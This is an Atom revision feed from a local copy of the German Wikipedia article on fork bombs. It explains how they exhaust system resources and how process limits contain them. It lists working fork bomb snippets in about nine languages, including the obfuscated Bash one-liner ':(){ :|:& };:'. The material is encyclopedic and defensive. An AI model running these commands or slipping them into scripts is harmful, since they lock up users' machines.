<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki-de.moshellshocker.dns64.de/index.php?action=history&amp;feed=atom&amp;title=Forkbomb</id>
	<title>Forkbomb - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-de.moshellshocker.dns64.de/index.php?action=history&amp;feed=atom&amp;title=Forkbomb"/>
	<link rel="alternate" type="text/html" href="https://wiki-de.moshellshocker.dns64.de/index.php?title=Forkbomb&amp;action=history"/>
	<updated>2026-06-07T04:59:46Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Wikipedia (Deutsch) – Lokale Kopie</subtitle>
	<generator>MediaWiki 1.43.8</generator>
	<entry>
		<id>https://wiki-de.moshellshocker.dns64.de/index.php?title=Forkbomb&amp;diff=619795&amp;oldid=prev</id>
		<title>imported&gt;Matthäus Wander: link</title>
		<link rel="alternate" type="text/html" href="https://wiki-de.moshellshocker.dns64.de/index.php?title=Forkbomb&amp;diff=619795&amp;oldid=prev"/>
		<updated>2023-08-19T14:39:30Z</updated>

		<summary type="html">&lt;p&gt;link&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[Datei:Fork bomb.svg|250px|mini|Rekursive Prozesserzeugung]]&lt;br /&gt;
&lt;br /&gt;
Eine &amp;#039;&amp;#039;&amp;#039;Forkbomb&amp;#039;&amp;#039;&amp;#039; (englisch &amp;#039;&amp;#039;Fork bomb&amp;#039;&amp;#039;), auch &amp;#039;&amp;#039;&amp;#039;Rabbit&amp;#039;&amp;#039;&amp;#039; genannt, ist ein [[Computerprogramm]], dessen einziger Zweck es ist, [[rekursiv]] Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren. Unter Unix geschieht das im einfachsten Fall mit dem Aufruf des [[Systemcall]]s [[Fork (Unix)|fork]] in einer [[Endlosschleife (Programmierung)|Endlosschleife]].&lt;br /&gt;
&lt;br /&gt;
In [[Pseudocode]] sieht eine Forkbomb etwa so aus:&lt;br /&gt;
&lt;br /&gt;
 ProgrammX {&lt;br /&gt;
   Rufe ProgrammX auf;&lt;br /&gt;
   Rufe ProgrammX auf;&lt;br /&gt;
   Warte bis ProgrammX beendet wurde;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Das Programm ruft zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Allgemein lässt sich festhalten, dass nach &amp;#039;&amp;#039;n&amp;#039;&amp;#039; Zyklen &amp;#039;&amp;#039;2&amp;lt;sup&amp;gt;n&amp;lt;/sup&amp;gt;&amp;#039;&amp;#039; Prozesse erzeugt worden sind, ihre Anzahl also [[Exponentielles Wachstum|exponentiell zunimmt]]. Diese verbrauchen, selbst wenn sie keinen komplizierten Code enthalten, [[CPU-Zeit]] und Speicher zur Verwaltung durch das [[Betriebssystem]]. Ein normaler Betrieb beziehungsweise normales Arbeiten ist bereits wenige Sekunden nach Aufruf der Forkbomb nicht mehr möglich.&lt;br /&gt;
&lt;br /&gt;
Der konkrete Effekt einer Forkbomb hängt in erster Linie von der Konfiguration des Betriebssystems ab. Beispielsweise erlaubt [[Pluggable Authentication Modules|PAM]] auf [[Unix]]- und Unix-ähnlichen Betriebssystemen die Zahl der Prozesse und den maximal zu verbrauchenden Speicher pro Benutzer zu beschränken. „Explodiert“ eine Forkbomb auf einem System, welches diese Möglichkeiten der Beschränkung nutzt, scheitert irgendwann der Versuch, neue Kopien der Forkbomb zu starten und das Wachstum ist eingedämmt.&lt;br /&gt;
&lt;br /&gt;
== Beispiele für Forkbombs ==&lt;br /&gt;
Um die Stabilität des Systems nicht zu gefährden, wird empfohlen, die nachstehend genannten Beispiele &amp;#039;&amp;#039;&amp;#039;nicht&amp;#039;&amp;#039;&amp;#039; auszuführen.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft-Windows-Batch-Datei ===&lt;br /&gt;
Beispiel für eine [[Microsoft Windows|Microsoft-Windows]]-[[Stapelverarbeitung|Batch-Datei]] in Kurzform:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bat&amp;quot;&amp;gt;&lt;br /&gt;
%0|%0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
oder&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bat&amp;quot;&amp;gt;&lt;br /&gt;
 @echo off&lt;br /&gt;
 :start&lt;br /&gt;
 start &amp;quot;Forkbomb&amp;quot; /high %0&lt;br /&gt;
 goto start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Programmiersprache C ===&lt;br /&gt;
Beispiel für [[C (Programmiersprache)|C]] unter Unix:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
int main(void){&lt;br /&gt;
    for(;;)&lt;br /&gt;
        fork();&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beispiel für [[C (Programmiersprache)|C]] unter Windows&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;windows.h&amp;gt;&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
  STARTUPINFO si;&lt;br /&gt;
  PROCESS_INFORMATION pi;&lt;br /&gt;
  ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
  si.cb = sizeof(si);&lt;br /&gt;
  while (1) {&lt;br /&gt;
	  SetConsoleCtrlHandler(0, 1);&lt;br /&gt;
	  CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Java ===&lt;br /&gt;
Beispiel für [[Java (Programmiersprache)|Java]]:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
public class ForkBomb implements Runnable {&lt;br /&gt;
  public static void main(String[] args) {&lt;br /&gt;
    new ForkBomb().run();&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public void run() {&lt;br /&gt;
    new Thread(this).start();&lt;br /&gt;
    this.run();&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
Beispiel für [[Perl (Programmiersprache)|Perl]] als Kommandozeilenaufruf:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
perl -e &amp;quot;fork while fork&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
Beispiel für [[PHP]]:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
while(true) pcntl_fork();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ruby ===&lt;br /&gt;
Beispiel für [[Ruby (Programmiersprache)|Ruby]]:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
loop { fork }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
Beispiel für [[Python (Programmiersprache)|Python]] als Programm:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
     os.fork()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
oder als Kommandozeilenaufruf:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &amp;#039;while 1: __import__(&amp;quot;os&amp;quot;).fork()&amp;#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
Beispiel für [[Unix-Shell#Die Bourne-Again-Shell|Bash]] in Normalform:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
function f() {&lt;br /&gt;
    f | f&amp;amp;&lt;br /&gt;
}&lt;br /&gt;
f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Um die Eigenschaft als Forkbomb zu [[Obfuskation (Software)|verschleiern]], wird obiger Code häufig in folgender Kurzform gegeben:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:(){ :|:&amp;amp; };:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Erklärung:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:()      # Definition der Funktion &amp;quot;:&amp;quot; -- immer wenn &amp;quot;:&amp;quot; aufgerufen wird, tue das folgende:&lt;br /&gt;
{        #&lt;br /&gt;
    :    # eine neue Kopie von &amp;quot;:&amp;quot; laden&lt;br /&gt;
    |    # … und seine Standardausgabe umleiten auf …&lt;br /&gt;
    :    # … eine weitere Kopie von &amp;quot;:&amp;quot; (die auch in den Speicher geladen werden muss)&lt;br /&gt;
         # (&amp;quot;:|:&amp;quot; erzeugt also einfach 2 Kopien von &amp;quot;:&amp;quot;, immer wenn es aufgerufen wird)&lt;br /&gt;
    &amp;amp;    # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)&lt;br /&gt;
}        #&lt;br /&gt;
;        # Durch &amp;quot;;&amp;quot; wird die Definition von &amp;quot;:&amp;quot; beendet&lt;br /&gt;
:        # …und durch den Aufruf von &amp;quot;:&amp;quot; die Kettenreaktion in Gang gesetzt.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Literatur ==&lt;br /&gt;
* [[Eric S. Raymond]]: &amp;#039;&amp;#039;The New hacker&amp;#039;s dictionary.&amp;#039;&amp;#039; With foreword and cartoons by [[Guy L. Steele Jr.]] 3rd edition. MIT Press, Cambridge MA u. a. 1996, ISBN 0-262-68092-0, [http://www.catb.org/jargon/html/F/fork-bomb.html Online].&lt;br /&gt;
* {{Literatur&lt;br /&gt;
   |Autor=Cyrus Peikari, Anton Chuvakin&lt;br /&gt;
   |Titel=Security warrior&lt;br /&gt;
   |Verlag=O’Reilly&lt;br /&gt;
   |Ort=Beijing u. a.&lt;br /&gt;
   |Datum=2004&lt;br /&gt;
   |ISBN=0-596-00545-8}}&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheitslücke]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Matthäus Wander</name></author>
	</entry>
</feed>